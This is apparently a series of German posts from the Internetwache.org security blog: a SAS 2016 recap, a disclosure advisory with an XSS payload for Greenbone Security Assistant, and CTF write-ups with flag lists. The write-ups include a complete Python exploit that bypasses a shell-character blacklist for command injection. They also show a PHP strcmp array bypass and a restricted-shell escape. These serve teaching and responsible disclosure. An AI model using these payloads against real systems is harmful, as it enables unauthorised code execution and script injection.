In diesem Blogpost haben wir einige andere tolle Ereignisse auf dem #TheSAS2016, wie z.B. das Gala-Dinner oder interessante Gespräche, die Tim hatte, ausgelassen - aber das war erstmal alles für heute. Wenn du mehr über #TheSAS2016 herausfinden willst, dann solltest du einen Blick auf den Blog von Eugene Kasperky oder seine Bilder auf Flickr werfen.

Insgesamt war es für Tim sehr interessant einige der Menschen zu treffen, die man sonst nur aus dem Internet oder von Twitter kennt, um deren Ideen über Sicherheit zu erfahren. Leider gab auch eine traurige Sache: Einige Vorträge, denen Monate oder Jahre lange Nachforschung vorausging, mussten teilweise innerhalb von 30 Minuten vorgestellt werden - In manchen Fällen hätte man gerne die komplette Geschichte gehört. Nichtsdestotrotz war das Event großartig! Es würde sogar noch besser sein, wenn mehr Forscher aus der Security-Community dort wären - solltest du also jemals eine Einladung zum SAS kriegen, dann solltest du nicht zweimal darüber nachdenken, ob du diese besondere Gelegenheit wahrnimmst.

Vielleicht sehen wir uns ja auf #TheSAS2017 :)

Das Team der Internetwache.org

That was #TheSAS2016 - lets move on!
Thanks for the great time :) @kaspersky @e_kaspersky @ryanaraine @JacobyDavid pic.twitter.com/P4TvQ7oXUE

— Tim Philipp Schäfers (@TimPhSchaefers) 11. Februar 2016

Für alle die nicht wissen, worum es bei OpenVAS geht: OpenVAS ist eine Software zum Schwachstellen-Management. Konkret kann man mit dieser Software Penetrationstests gegen IT-Systeme vornehmen und die Ergebnisse entsprechend aus- und bewerten. OpenVAS wird unter anderem im Greenbone Security Manager verwendet und ist zudem in jedem Kali Linux integriert.

CVE-2016-1926: XSS

Beim Abruf der Statistiken wurde folgender AJAX-Request an das Backend geschickt:

1

https://[DOMAIN.tld]/omp?cmd=get_aggregate&xml=0&aggregate_type=nvt&group_column=severity&filt_id=1337&token=guest

Der Parameter aggregate_type wurde dabei nicht korrekt gesichert, sodass es im Script-Kontext zu einer einfachen XSS kam. Setzt man aggregate_type=nvt"-alert(document.domain)-", dann folgt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

        DataSource ("get_aggregate",
                    {xml:1,
                     aggregate_type:"nvt"-alert(document.domain)-"",
                     group_column:"severity",
                     data_column:"",
                     filter:"",
                     filt_id:"1337"});

    title_total ("Nvts"-alert(document.domain)-" by severity",
                 "count")

Chart (gsa.data_sources ["aggregate-source"],
        gsa.generators ["aggregate-generator"],
        gsa.displays ["aggregate-display"],
        "aggregate-chart",
        "Nvt"-alert(document.domain)-" by severity",
        "/img/charts/severity-bar-chart.png",
        1,
        "",
        "");

Leider benötigt man für einen erfolgreichen Angriff den Wert des Parameters token. Ist der Gastmodus aktiviert, wie z.B. in der Demo, so reicht es aus, token=guest zu setzen.

Weiterer, kleiner Bug

Der folgende Bug wurde im Laufe des Updates direkt mit behoben. Folgendes Verhalten konnte beobachtet werden:

1
2
3

GET //internetwache.org/? HTTP/1.1
Host: secinfo.greenbone.net
Connection: close

führte zu:

<a href="https://www.internetwache.org//internetwache.org/?r=1&amp;=&amp;token=guest">Login as a guest</a>

Alle Zeichen des Pfades im GET-Request wurden im href-Attribut wiedergegeben. Leider ist ein GET javascript:alert(1) nicht im Browser nachstellbar (ein führender Slash wird benötigt), sodass hier mit Glück im Unglück eine XSS verhindert werden konnte. Es bleibt die Möglichkeit per relativem Protokoll den Link zu manipulieren, sodass ein Benutzer beim Klick auf “Login als Gast” beliebig weitergeleitet werden kann.

Details

• Produkt: Greenbone Security Assistant ≥ 6.0.0 and < 6.0.8
• Hersteller: OpenVAS
• Risiko: Niedrig, CVSS 1.9 (AV:A/AC:M/Au:M/C:P/I:N/A:N)
• Bund-CERT Meldung

Die Kommunikation mit der Sicherheitsabteilung der Greenbone GmbH war sehr angenehm:

• 07.01.2016: XSS entdeckt und Hersteller informiert.
• 08.01.2016, 08:00: Bestätigung vom Hersteller und Aussage, dass bereits am Problem gearbeitet wird
• 08.01.2016, 17:30: Fix bereits fertig, wird noch ausgiebig getestet.
• 09.01.2016: Update für Greenbone Security Manager veröffentlicht: Advisory GBSA 2016-01
• 13.01.2016: Update für OpenVAS veröffentlicht: Advisory OVSA 20160113
• 18.01.2016: CVE-2016-1926 von MITRE zugewiesen

Das Team der Internetwache.org

Ich habe selbst smartcat1 nicht gelöst, da als ich beim Treffpunkt ankam, Denis @nobbd diese challenge bereits gelöst hatte und wir direkt mit smartcat2 weitemachten. Nachdem wir auch diese erfolgreich lösten, wurde uns mitgeteilt, dass wir nicht die intendierte Lösung genutzt haben, sodass wir gerne unseren Lösungsweg, nämlich den Bypass des Filters, beschreiben möchten.

Note to myself: Die Burp Instanzen öfters mal speichern und mehr Notizen machen, um bessere Writeups schreiben zu können. (Ich schreibe das aus meinem Gedächtnis heraus und habe wahrscheinlich (wichtige) Gedanken/Entscheidungen vergessen)

Smartcat2

Zunächst erstmal ein paar Worte zu der Challenge. Es war eine Webseite die uns erlaubte, eine IP Adresse zu pingen:

1
2
3
4
5
6
7

POST /cgi-bin/index.cgi?c= HTTP/1.1
Host: smartcat.insomnihack.ch
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

dest=127.0.0.1

Wie wir bereits in smartcat1 gelernt haben, konnte man Kommands ausführen, in dem man diese mit Zeilenumbrüchen (\n aka %0A) separierte. Zum Beispiel würde dest=127.0.0.1%0Als das Programm ls ausführen. Wie auch immer, es gab eine Blacklist mit unerlaubten Zeichen:

1
2
3
4
5

blacklist = " $;&|({`\t"
for badchar in blacklist:
        if badchar in dest:
                results = "Bad character %s in dest" % badchar
                break

Wir können keine Kommandos ausführen, welche Parameter benötigen, da Leerzeichen Teil der Blacklist sind. Der Standard-Bypass mit $IFS funktioniert auch nicht, da $ ebenfalls auf der Blacklist ist. Wir können aber < und > anstatt der Pipe (|) für die meisten Shell-Kommandos nutzen, um die Aus- bzw. Eingaben umzuleiten.

Die erste Sache die mich interessierte war, welche Shell genutzt wird. pstree bzw. ps oder ein ähnliches Kommando zeigte eine Menge sh Prozesse, sodass wohl dies die Shell darstellte. Somit leider keine Bash-Magic anwendbar.

Nach einer Weile Rumspielen mit find und cat fanden wir den Hinweis, dass die Flagge sich im Ordner /home/smartcat befindet. Allerdings sucht find vom aktuellen Arbeitsverzeichnis aus (/var/www/cgi-bin/) und wir können dieses nicht bearbeiten, oder doch?

Variablen nutzen

Was wir brauchten war etwas wie cd DIR, aber Leerzeichen sind immernoch auf der Blacklist. Die Manpage von cd brachte uns aber bei, dass If DIRECTORY is supplied, it will become the new directory. If no parameter is given, the contents of the HOME environment variable will be used. (Wenn DIRECTORY gegeben ist, dann wird in diesen Ordner gewechselt. Ansonsten wird die Variable HOME verwendet.) Mal schauen, ob wir den Wert der HOME-Variable zu /home/smartcat ändern können. Das Setzen von Umgebungsvariablen in der sh ist so einfach wie das Ausführen von VARIABLE=VALUE. Demnach haben wir zum Auflisten der Inhalte in /home/smartcat die folgende Eingabe genutzt:

1

dest=127.0.0.1%0AHOME=/home/smartcat%0Acd%0Als

Super, wir sehen nun alle Dateien in dem Ordner. Diesen Ansatz können wir nutzen, um in beliebige Ordner zu wechseln und uns die Inhalte anzeigen zu lassen. Allerdings können wir flag2 nicht lesen, da uns die nötigen Leserechte fehlen, aber wir können das Programm readlfag ausführen. %0Astrings<./readflag führt uns zum nächsten Teil der Aufgabe:

1

Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.Do not include the quotes. Each part is a different line.

Blacklist bypass

Wie man wahrscheinlich weiß, sind Blacklists immer schlecht und fast immer umgehbar. Wir brauchten einen Platz in das wir unseren Code abladen konnten, also einen Ordner mit Schreibrechten. Es stellte sich heraus, dass wir Schreib-, aber keine Ausführungsrechte auf /tmp hatten. Wir überzeugten uns davon mit ls>/tmp/x gefolgt von cat</tmp/x.

Super, wir können also beliebige Dateien in /tmp schreiben und ausführen. Aber wie füllt man diese Dateien mit Leben? Ich kam auf die Idee sog. here documents zu nutzen:

1
2
3

cat<<EOF>/tmp/file
helloworld
EOF

1

dest=127.0.0.1%0Acat<<EOF>/tmp/file%0Ahelloworld%0AEOF%0Als

Alles zwischen EOF und EOF wird dann in die Datei /tmp/file geschrieben. Der nächste Schritt bestand also darin, irgendwie ein Programm hochzuladen oder zu schreiben, was auf dem Server die readflag Binary ausführen und die Flagge anzeigen würde.

Während wir darüber nachdachten, wie wir Quelltext schreiben könnten, ohne Zeichen der Blacklist zu verweden, ließen wir ein HOME=/%0Acd%0Afind>/tmp/files laufen, um eine Liste aller Dateien auf dem Server zu bekommen. Der Request lief ins Timeout, aber lange genug, um einige Dateien aus dem /bin, /usr/bin aufzulisten. Einige Tools die wir als nützlich einstuften:

• python2 / python3
• gcc / g++
• ftp / rsync / curl / wget
• gzip / gunzip / zip / unzip

Ich versuchte erst irgendwie gzip oder zip zu missbrauchen, um ein Leerzeichen in einer Datei zu komprimieren und zu hoffen, dass in der Ausgabe keine Zeichen der Blacklist vorhanden sind. Unglücklicherweise klappte das Entpacken auf dem Server nicht richtig. Genau das war der Augenblick in dem Denis die geniale Idee hatte Python2 und dessen print Anweisung zu nutzen, um den Filter zu umgehen. In Python2 braucht man weder Klammern noch Leerzeichen, um etwas mit print auszugeben.

1

print'hello world'

Zusätzlich kann man Zeichen mit \xYY kodieren. Wir schrieben ein Shellscript für die readflag Binary:

1

echo "Give me a...";sleep 2;echo "... flag!"

… und kodierten alle Zeichen der Blacklist:

1

print'''echo\x20"Give\x20me\x20a..."\x3bsleep\x202\x3becho\x20"...\x20flag!"'''

Danach nutzten wir unser here-document-cat um das Python-Script in /tmp/print.py zu erzeugen, gefolgt durch die Ausführung mit: %0Apython</tmp/print.py>/tmp/getflag.sh Wir wiederholten diesen Schritt für ein zweites Shellscript, welches unser vorheriges ausführte:

1

sh /tmp/getflag.sh | /home/smartcat/readflag

Letzendlich führten wir das zuletzt erstellte Shellscript aus, um die Flagge zu erhalten: %0Ash</tmp/runflag.sh>/tmp/ourflag und %0Acat</tmp/ourflag zum Lesen der Flagge: INS{shells_are _way_better_than_cats}

Insgesamt war es eine ziemlich colle Challenge :)

The team of internetwache.org

Kompletter Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

import requests

# we have a cgi script and can execute remote commands
# problem: our command must not include any of: " $;&|({`\t"
# we solve this by using python to print the payload into a file
# this is we can encode any of the special characters and python doesn't need a whitespace between the print and the ''s


# upload first script 
# echo "Give me a...";sleep 2;echo "... flag!"
# encoded: 
# print'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "144"}, data={"dest": "127.0.0.1\ncat<<bbb>/tmp/tftf\nprint'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''\nbbb"})

# upload second script
# /bin/sh /tmp/denis | /home/smartcat/readflag
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "133"}, data={"dest": "127.0.0.1\ncat<<bbb>/tmp/tftf2\nprint'''/bin/sh\\x20/tmp/denis\\x20\\x7c\\x20/home/smartcat/readflag'''\nbbb"})

# interprete first script and write to file
# python</tmp/tftf>/tmp/denis
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "65"}, data={"dest": "127.0.0.1\npython</tmp/tftf>/tmp/denis"})

# pythin interprete second script and write to file
# python</tmp/tftf2>/tmp/rundenis
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "69"}, data={"dest": "127.0.0.1\npython</tmp/tftf2>/tmp/rundenis"})

# execute second script and write to denisflag
# /bin/sh</tmp/rundenis>/tmp/denisflag
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "84"}, data={"dest": "127.0.0.1\n\nHOME=/home/smartcat/\ncd\n/bin/sh</tmp/rundenis>/tmp/denisflag"})

# read flag file
# cat</tmp/denisflag
t = requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "56"}, data={"dest": "127.0.0.1\ncat</tmp/denisflag"})

print t.text

Rückblick auf 2015

2015 haben wir für das Projekt Internetwache.org insgesamt etwas weniger Zeit aufgewendet als in den Jahren davor. Das sieht man vor allem an der niedrigen Anzahl an veröffentlichten Artikeln (9 Blogposts), aber auch an rückläufigen Positionen im Ranking von Plattformen wie Bugcrowd oder HackerOne. Neben der steigenden und offenbar nicht-schlafenden Konkurrenz, liegt es aber daran, dass wir alle anders ausgelastet waren, in anderen Projekten aktiv sind und in unseren Berufen oder an der Universität eingebunden sind.

Wenn wir allerdings etwas auf Internetwache.org veröffentlicht haben, dann hat es sich meist um recht gründliche und tiefgreifende Ergebnisse gehandelt und wurde von einer breiteren Menge oder zumindest unseren Twitter Followern diskutiert.

Als eine Art “Ritterschlag” kann man ansehen, dass unsere Arbeit und Analyse der AXFR-Transfers der Alexa Top 1 Millionen zu einem der zwölf Alerts des US-CERT im Jahr 2015 geführt hat und auch in vielen Medienberichten Beachtung gefunden hat.

Eine ähnliche Untersuchung, welche die Analyse von nicht geschützten Git-Repositories behandelte fand allerdings weniger Beachtung, da andere Researcher kurz zuvor eine ähnliche Idee hatten - dennoch sind wir mit den Ergebnissen und unserem eigenen Wissenzuwachs sehr zufrieden.

Es gab noch einige weitere Ideen für weiterreichende Untersuchungen, aber leider fehlte zu deren Umsetzung die nötige Zeit, um diese entsprechend qualitativ hochwertig durchführen zu können. Wir hoffen allerdings, diese dieses Jahr nachreichen zu können.

Sebastian hat weitere Projekte ins Leben gerufen. Unter anderem einen weiteren Security-Blog, auf dem persönliche Sachen ausgelagert werden, die nicht unbedingt zu Internetwache.org passen: 0day.work. Zum Jahresanfang 2015 wurde zudem das Bugbounty Portal von ihm gestartet, bislang ist darauf noch nicht besonders viel Aktivität.

Tim hat ein von ihm lang angestrebtes Ziel erreicht und 2015 sein erstes Buch mit dem Titel “Hacking im Web” geschrieben in dem auch einige Fälle von Internetwache.org aufgegriffen werden. Das Buch ist in deutscher Sprache, umfasst circa 500 Seiten und erscheint im Franzis Verlag vermutlich im ersten Quartal von 2016.

Zum Abschluss des Jahres haben sich Sebastian und Tim wieder beim 32. Chaos Communication Congress (32c3) in Hamburg getroffen und wie immer hat es viel Spaß gemacht und wir haben eine Menge gelernt. Lustig war, dass Sebastian mit dem Cloudflare-Bugbounty-T-Shirt von einem der Security Mitarbeiter bei Cloudflare angesprochen wurde.

Ausblick auf 2016

In der Zukunft haben wir vor die Untersuchung von generischen Sicherheitsrisiken (wie oben angeführt) fortzusetzen und so immer wieder vor globalen Problemen im Bereich Websicherheit zu warnen. Dieses Vorgehen ermöglicht einen guten Überblick über die aktuelle Situation der Websicherheit und hilft möglicherweise einer größeren Menge an Administratoren, als zum Beispiel bestimmte, wenige Webapplikationen zu untersuchen. Nichtsdestotrotz werden wir natürlich weiterhin an Bug Bounty Programmen teilnehmen und der grundsätzlichen Idee von Internetwache.org treu bleiben.

Die Followerzahl auf unserem Twitter Account: @internetwache nährt sich langsam der magischen Grenze “1000” - aus diesem Grund planen wir in 2016 eine Community-Aktion, von der wir momentan allerdings noch nicht zu viel verraten möchten. Bleibt also gespannt :)

Seit der Gründung von Internetwache.org im Jahr 2012 war die Sicherheit von Webapplikationen unser Hauptfokus, wir wollen nun allerdings einen Schritt weitergehen. Sebastian möchte in naher Zukunft mehr über die Sicherheits von Apps lernen und wird dieses Jahr seinen Bachelor beenden. Tim möchte etwas mehr über SCADA und ICS lernen und sich Gedanken um Informationsethik im Zeitalter von Big Data und modernen Algorithmen machen.

Wir wünschen Euch viel Erfolg im Jahr 2016!

Das Team der Internetwache.org

Die Jury hat die Musterlösungen veröffentlicht und viele Ansätze weichen nicht ab. Daher werden wir nur kurz die Lösungen beschreiben, bei denen wir einen anderen Weg gewählt haben.

Admin 200: Awesome web

Nach dem Speichern des privaten Schlüssels admin, konnte man sich zu einem der SSH Ports verbinden:

     ssh -v -p 15026 -i /tmp/admin.key -F /dev/null admin@sibears.ru

Daraufhin begrüßte uns eine einfache Shell:

1
2
3
4

admin:~$ ls
flag.txt
admin:~$ ?
cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo

Man sieht die Flagge, hat aber nur eine limitierten Satz an Kommandos. Ich probierte einfach history und scrollte durch die Liste von Kommandos, die wohl von anderen CTF Teilnehmern stammten. Glücklicherweise entdeckte ich darin einen komisch aussehenden String, der sich als korrekte Flagge herausstellen sollte: 4dm1n_1s_1mp0r74nt_m^^mk3y

Wir glauben nicht, dass dies die beabsichtigte Lösung ist, daher wollten wir herausfinden, ob wir mit dem gesetzten Limit die Flagge extrahieren können.

1
2
3
4

admin:~$ ls /
*** forbidden path: /
admin:~$ echo $(< flag.txt)
*** forbidden syntax: echo $(< flag.txt)

Nach einer längeren Zeit des Rumprobierens und etlichen forbidden syntax Fehlermeldungen, standen wir schon vor der Resignation, als wir dieses Kommando ausprobierten:

1
2

admin:~$ echo "$(cat flag.txt)"
4dm1n_1s_1mp0r74nt_m^^mk3y

YAY - Aber wir haben immer noch nicht herausgefunden, ob das eine gültige Lösung oder ein Bypass des Filters ist.

Crypto 100: Lazy cryptanalyst

Wir googelten nicht nach der Webseite, welche im Bild zu sehen war, sondern fingen an, ein kleines Pythonscript zu schreiben, welches die Zeichen Schritt-für-Schritt ersetzte.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

text = "bsxz [....] qoiy."

newtext = ""

switch = {  'b':'t',
                        's':'h',
                        'x':'i',
                        'z':'s',
                        'u':'f',
                        'm':'y',
                        'o':'m',
                        'i':'e',
                        'q':'a',
                        'g':'o',
                        'v': 'l',
                        'h':'u',
                        'f': 'w',
                        'y': 'n',
                        'j':'k',
                        'w': 'b',
                        'e':'d',
                        'l':'g'
                        }
for char in text:
        if char in switch:
                char = switch[char]
        newtext += char
print(newtext)

Nachdem wir auf diesem Weg die Aufgabe lösten, erhielten wir von Denis den Hinweis mit der Webseite quipqiup.com, welche sofort die richtige Lösung fand.

Joy 100: Highly professional

Der einzige Unterschied zu der Musterlösung war, dass wir Google’s reverse image search genutzt haben, um herauszufinden, dass es etwas mit der Serie Mr.Robot zu tun hat. Weiteres Googeln führte zu einem Wiki, in dem die Namen der drei Angestellten aufgelistet waren. Einer davon war die Flagge: Gideon_Goddard

Stegano 100: Pure color

Die Beispiellösung nutzt MS Paint um die Hintergrundfarbe zu ändern. Wir haben GIMP genutzt und spielten mit den Farbkurven der Grundfarben Rot, Grün, Blau herum. Beim Bewegen der blauen Kurven in die rechte, untere Ecke erschien ein gelber Text auf dem Bild. Es war die Flagge: flag_is_this_is_a_simple_stego

Flags

Hier ist eine Liste mit allen gelösten Challenges:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

admin200: FLAG_G0D_DAMN_BR0_U_R_S0_C00L_DECRYPTOR
crypt100: a day without blood is like a day without sunshine
crypt200: remember_the_plaintext
joy100: Gideon_Goddard
web100: l375_$7ar7_w3b_h4ck5
steg100: true_steganographers_doesnt_need_any_tools
steg200: flag_is_this_is_a_simple_stego
admin200: 4dm1n_1s_1mp0r74nt_m^^mk3y
web200: n0t_0nly_1nj3ct10ns_4r3_d4ng3r0us
exploit100: thanks_god_we_got_not_only_binaries
ppc200: flag_1s_1t_w@s_t00_easy
joy200: flag_is_dont_let_apples_hit_your_brain (strings on level0)
ppc400: ~y@y_I_cod3d_!7_^^
web400: U_c4n_b3_v3ry_us3ful_0n_upc0m1ng_3l3ct10ns
admin300: Flag_is_{7Ru3_4dM1n_C4N_D0_4Ny7h1NG_Fr0M_C0MM4nD_L1N3}
exploit300: every_haxor_loves_EvAlS

Das Team der Internetwache.org

• Slogans ( Trv 50)
• SSL Attack (Trv 90)
• Blocking truck (Trv 100)
• Pass Check (Web 50)
• XOR Crypter (Cry 200)
• Press it (Misc 100)

Außerdem noch ein paar Notizen zu anderen Challenges, die er sich angeschaut hat.

Ich wünschte ich hätte mehr Zeit für diesen CTF gehabt. Einige Challenges sahen sehr viel versprechend aus und es hat mal wieder viel Spaß gemacht:

Slogans

Die Aufagbe bestand darin, die Slogans der Ekopartys 2008 & 2009 herauszufinden.

Da der jeweilige Slogan sehr prominent auf der Webseite angezeigt wird, war meine erste Idee die wayback machine zu nutzen, um die Webseiten in der Vergangenheit zu betrachten. Allerdings gab es keine Einträge für das Jahr 2008, sodass ich mich entschied, das allwissende Google zu fragen. Ich nutzte folgende Suchanfrage:

1

intext:ekoparty intext:2008 intext:slogan

Der erste Treffer war ein Blogpost, welcher die gesuchten Informationen enthielt:

Die akzeptierte Flagge war: EKO{Vi root y entre_What if r00t was one of us?}

SSL Attack

Bei dieser Challenge sollte man den Namen eines auf einer Ekoparty vorgestellten SSL-Angriffes finden.

Auch diesmal half uns etwas Google-Zauberei (intext:ekoparty intext:ssl), denn dies listete einige Webseiten mit den bekannten Angriffen BREACH, CRIME und BEAST. Die letzte Abkürzung war die korrekte Flagge:

Flagge: EKO{BEAST}

Blocking truck

Die Beschreibung gab an, dass vor dem Eingang ein blauer Truck stehen würde. Die korrekte Flagge sei die URL auf diesem.

Zunächst dachte ich, dass ich diese Challenge nicht lösen könnte, da ich nicht vor Ort bei der Veranstaltung war, sondern vor meinem Laptop in Berlin saß. Allerdings bezweifelte ich, dass es eine Challenge geben würde, die nur von anwesenden Teams gelöst werden könnte. Ich probierte also mein Glück mit Google Maps und siehe da: Mit Hilfe von Streetview konnte ich mir den Truck anschauen und die URL ablesen.

Die Domain war ein wenig unscharf, aber das Eintippen von desimonehnos.com.ar führte zur korrekten Webseite. In der ersten Version der Aufgabe wurde von url to contact gesprochen, sodass ich einige Versuche benötigte, um herauszufinden, dass die Landing-Page genügte.

Flagge: EKO{http://www.desimonehnos.com.ar} oder EKO{www.desimonehnos.com.ar} (Kann mich nicht mehr genau daran erinnern…)

Pass check

Das war die erste Web-Challenge. Sie sah nicht nur toll aus, sondern machte auch noch schöne Geräusche beim Eintippen eines Passworts ;)

Die Geräusche und das Geblinke waren schön, hatten allerdings nicht mit der Lösung zu tun. Ich startete BurpSuite und schaute mir den AJAX-Request an. Nach ein paar einfachen Versuchen ersetzte ich password=test mit password[]=test und daraufhin war die Applikation so nett mir die Flagge zu nennen.

Flagge: EKO{strcmp_not_s0_s4fe}

Die Funktion strcmp ist nicht für Vergleiche von Objekten, die keine Strings sind, geeignet. Eine interessante Auflistung kann auf php.net gefunden werden.

XOR Crypter

Gegeben war der folgende String CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= und Python Quellcode.

Der String ist offensichtlich base64 kodiert, aber eine Dekodierung führte zu einem wenig sinnvollen Ergebnis: 0O{sh1_t7_uhiabe}. Also musste ich doch auf den Quelltext gucken. Der Kodierungsalgorithmus verlängert die Daten auf eine durch 4 teilbare Länge. Danach werden die Daten in Stücke von 4 Byte geteilt. Jeder Block wird mit der nach 16 nach rechts geshifteten Version seiner selbst gexored. In Python kommt die Operation >> vor ^. Die letzte Operation besteht darin, jeden Block zu packen und das Ergebnis mit base64 zu kodieren.

Das Hauptproblem hier ist die Nutzung von XOR in Kombination mit dem rechts-shift. Hier ist eine Handsimulation des Vorganges:

1
2
3
4
5
6

# 1001 >> 2 (9 shifted by 2 adds zeros to the beginning and the result is 0010 = 2)
# 0010 ^ 1001 (2 xored 9 is 1011 = 11; This is the result of our encryption.)

# 1011 >> 2 (11 shifted by 2 is 0010 = 2)
# 0010 ^ 1011 (11 xored with 2 is 1001 = 9)
# 1001

Man beachte, dass bei einem Rechtsshift um N bits, die ersten N bits des Ergebnisses dieselben sind wie die Eingabe. Die Umkehrbarkeit von XOR ((Y ^ U) ^ U = Y) hilft uns bei der Wiederherstellung des verbleibenden Blockanteils. Die anderen Operationen (base64-Kodierung, Ein-/Auspacken) müssen einfach in verkehrter Reihenfolge ausgeführt werden. Hier ist der Link zu meinem kleinen Python Script [Ich habe ein paar print/debug Ausdrücke hinzugefügt]

Flagge: EKO{unshifting_the_unshiftable}

Press it

Meiner Meinung nach war dies die interessanteste Challenge. Man sollte die Flagge aus der folgenden Datei extrahieren: 05gXbV9/+Bpg=).

Zunächst dachte ich, dass es sich um zufällige Hexzahlen handelt, aber dann erinnerte ich mich an das Format/layout. Ich sah es als ich /usr/bin/showkey ausführte, um die dr.bob hacklu 2015 challenge zu lösen. Ich öffnete tty2 auf meiner Maschine und startete showkey -s und es gab ähnliche Hexzahlen aus als ich Tasten drückte.

Ich googelte nach einem Programm oder einem Tool, welches den Dump automatisch wieder umkehren und mir die gedrückten Tasten ausgeben würde. Leider ohne Erfolg, also musste man selbst Hand anlegen.

Ich las mich durch die Showkey Manpage und lernte, dass diese Codes Scancodes genannt werden und diese pro Taste/Zeichen eindeutig sind. Pro Taste gibt es zwei Codes: Einen, wenn die Taste gedrückt wird, und einen wenn diese wieder losgelassen wird.

Der letzte Fakt ist entscheidend, denn ich versuchte erst jedes Zeichen einzeln zu behandeln und dies führte zu einem komischen Ergebnis. Alle ? oder leere Codes sind wahrscheinlich Loslass-Codes. Zusätzlich musste ich auf die harte Tour lernen, dass auch Kombinationen von Codes möglich sind. Zum Beispiel 0xe0 0x38 steht für die linke Alt-Taste. Microsoft hat eine gute Übersicht mit Scancode-Zuweisungen

Nachdem ich alle Scancodes ein zweites Mal durchgearbeitet habe, stand folgendes Ergebnis in meinen Notizen: This is it. EKO{ibm_model_m}

Flagge: EKO{ibm_model_m}

Weitere Challenges/Notizen

Wie immer habe ich auch einen Blick auf andere Challenges geworfen, diese probiert zu lösen, aber bin dann irgendwie irgendwo stecken geblieben und kam nicht weiter. Ich bin ein wenig enttäuscht, dass ich Mr Anderson (Ich kenne den Film nicht, aber die Lösung sollte nicht so schwer sein?), Custom ACL (Ich habe hier viel Zeit verwendet - wahrscheinlich fehlt nur eine winziger Schritt) nicht lösen konnte.

Mr Anderson (Trv 80)

• Mr Anderson und last serie deuten auf Mr.Robot
• Ich verstehe den favority music artist Hinweis nicht. Ich probierte ein paar Soundtracks der letzten Episode. Kein Erfolg
• Nicht genügend Motivation um alle möglichen Künstler zu brute-forcen.

Custom ACL (Web 100)

• Entdeckung des Sources für admin.php unter admin.phps (Pastebin)
• Versuch die REMOTE_ADDR mit X-Forwarded-For & co zu spoofen bis man lernt, dass dies wirklich nur die IP der TCP-Verbindung ist.
• Nmap gegen die IP-Range 67.222.139.223-230 gestartet und Ergebnis ist ein Host mit ein paar interessanten Posts (Pastebin)
• Versuche diesen als Proxy zu nutzen schlägt mit dem Fehler 501 method "GET/POST/Whatever" not supported fehl
• Bermeken den Server: pve-api-daemon/3.0-Header, aber finden nicht heraus, wie man diesen (mis)brauchen kann.
• Nicht genügend Zeit, um weiter darüber nachzudenken.

Crazy JSON (Web 300)

• evaluator.js fehlt auf dem Server
• HTTP Response enthält interessantes JSON (Pastebin)
• new Ajsone() Aufruf. Google führt zu einem github repository mit einem Demo/Test-Bereich .
• Xor (^) ist nicht implementiert. Implementiere es.
• Passwort muss 32 Zeichen lang sein, aber weitere Evaluirungen führen zu einem error inf loop?.
• Auch hier wird die Zeit knapp. Nichtdestotrotz interessant.

SVG Viewer (Web 400)

• Hochladen von SVG mit XXE testvector -> Entity declaration detected Fehler
• Versuch, eigene, externe DTD zu nutzen, um diesen Check zu umgehen. Funktioniert nicht wirklich wie gedacht. Wechsel zu einer anderen Aufgabe

Olive (Misc 50)

• Pcap mit traffic
• Viel VNC traffic / Http traffic möglicherweise uninteressant
• Extrahieren VNC traffic in eine Datei. Sie nach einem RFB (remote frame buffer) aus
• Suchen eine Programm, um dies wiederzugeben. Weder rfbproxy noch vncreplay funktionieren mit den extrahierten Daten.
• Keine Ideen mehr, wie man RFB anzeigen/wiedergeben kann.

Auch diesmal vielen Dank für diesen wunderbaren CTF :)

Sebastian

• Module Loader (Web, 100)
• PHP Golf (Coding, 75)
• Guessthenumber (Coding, 150)
• Bashful (Web, 200)

Zunächst einmal sei gesagt, dass CTF eine Menge Spaß bereiten können, besonders, wenn es einige knifflige Rätsel zu lösen gilt. Wenn man also noch nicht an einem CTF teilgenommen hat, dann sollte das dringend nachgeholt werden :). Aktuelle Infos zu CTFs finden sich unter: ctftime.org Während diesem Capture the Flag hat Sebastian mit Denis und Mazen160 zusammengearbeitet. Wenn man im Team arbeitet kann man sich gut ergänzen und einiges dazulernen.

Module Loader

Die erste Challenge war eine Aufgabe zum Aufwärmen: Eine Webapplikation nahm folgenden GET Parameter entgegen: $_GET['module'] und führte das darin übergebene Modul aus. Nach einem Blick in den Quellcode wusste man, wo sich die betreffenden Module befanden.

